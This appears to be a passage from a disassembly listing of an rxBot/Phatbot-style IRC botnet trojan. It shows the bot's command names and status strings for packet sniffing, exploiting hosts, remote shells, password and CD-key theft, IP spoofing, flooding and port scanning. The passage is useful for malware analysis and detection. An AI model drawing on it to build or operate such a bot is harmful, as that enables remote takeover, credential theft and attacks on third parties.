		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B150	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B180	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B1A8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1D4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B210	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B24C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B27C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C74o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 10h
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
					; ___:00437FA4o
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C5Co ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C7Co ...
		unicode	0, <n>,0
unk_42B37C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3DC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3F4	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B40C	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B454	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B47C	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B480	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B48C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B494	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B504	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B518	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B51C	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B52C	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B530	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B534	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_42B59C	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B5DC	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B614	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42B640	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 10h
unk_42B680	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B6BC	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6E8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B714	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B724	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42B810	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B844	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B884	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42B8B0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42B8EC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B914	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B924	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B930	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B940	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B950	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B984	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9D4	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42BA00	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42BA18	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA54	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA74	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA78	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA90	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BAC8	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAE0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BAFC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BB18	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB34	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42BB70	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB94	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BBB4	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBD4	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBEC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC34	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42BC60	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC7C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC94	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42BCC0	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCE4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42BD10	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42BD3C	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42BD60	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42BD9C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDD8	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE14	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE50	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE8C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42BEC0	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_42BEE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BF18	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF54	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFD4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C014	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C050	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BFCo
					; sub_401ACD+4FA1o
aAsn445		db 'asn445',0           ; DATA XREF: sub_401ACD+1BE7o
		align 4
dword_42C0C4	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C16C	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 10h
unk_42C1A0	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1D4	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1E8	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1EC	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1F8	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 10h
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 10h
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 10h
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
